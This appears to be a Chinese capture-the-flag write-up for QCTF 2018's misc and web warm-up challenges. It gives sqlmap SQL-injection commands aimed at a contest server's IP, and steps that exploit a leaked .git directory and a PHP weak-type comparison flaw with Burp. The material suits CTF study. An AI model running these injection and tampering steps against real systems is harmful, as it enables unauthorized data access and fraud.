一、misc

X-man-A face

 

用画图编辑补全二维码如下

QCTF 2018 misc和web签到题 writeup

用微信扫码得到

KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I=

 

用python的base32解码得到答案QCTF{Pretty_Sister_Who_Buys_Me_Lobster}

QCTF 2018 misc和web签到题 writeup

 

二、 web

1.NewsCenter

页面搜索post提交的地方有注入点用sqlmap跑下

sqlmap -u "http://47.96.118.255:33066/"--data="search=the" --dbms mysql --current-db   查询当前数据库

QCTF 2018 misc和web签到题 writeup

sqlmap -u "http://47.96.118.255:33066/"--data="search=the" --dbms mysql -D news –tables    查询news数据库有几张表

QCTF 2018 misc和web签到题 writeup

 

sqlmap -u "http://47.96.118.255:33066/"--data="search=the" --dbms mysql -D news -T secret_table –columns  查询secret_table表字段内容出现flag

QCTF 2018 misc和web签到题 writeup

 

2. Lottery

用awvs扫描站点发现存在git代码泄露

 

QCTF 2018 misc和web签到题 writeup

https://github.com/lijiejie/GitHack  利用脚本下载源码

QCTF 2018 misc和web签到题 writeup

在 api.php 85行number传入参数没有判断 第 89 行处找到 弱类型 漏洞。

QCTF 2018 misc和web签到题 writeup

用burp构造号码全是 True 就可以无限刷了,刷到1000万购买flag

QCTF 2018 misc和web签到题 writeup

QCTF 2018 misc和web签到题 writeup

 

 

相关文章:

  • 2021-11-24
  • 2022-12-23
  • 2021-07-25
  • 2021-11-18
  • 2021-09-03
  • 2021-08-05
  • 2021-08-20
  • 2022-12-23
猜你喜欢
  • 2021-07-05
  • 2022-01-20
  • 2021-04-23
  • 2022-12-23
  • 2021-12-09
  • 2022-12-23
  • 2021-12-27
相关资源
相似解决方案